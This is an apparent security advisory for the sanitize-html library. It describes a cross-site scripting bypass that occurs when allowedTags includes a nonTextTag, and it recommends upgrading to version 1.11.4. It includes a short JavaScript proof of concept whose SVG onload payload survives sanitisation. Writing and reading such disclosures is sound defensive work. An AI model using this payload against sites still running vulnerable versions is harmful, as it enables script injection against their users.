Cross-Site Scripting

Overview

Affected versions of sanitize-html are vulnerable to cross-site scripting when allowedTags includes at least one nonTextTag.

Proof of Concept

var sanitizeHtml = require('sanitize-html');

var dirty = '!<textarea></textarea><svg/onload=prompt`xs`></textarea>!';
var clean = sanitizeHtml(dirty, {
    allowedTags: [ 'textarea' ]
});

console.log(clean);

// !<textarea></textarea><svg/onload=prompt`xs`></textarea>!

Recommendation

Update to version 1.11.4 or later.

References

• GitHub Issue #100
• GitHub Commit #5d205a1)))
• Sanitize-html - nonTextTags
• GitHub Advisory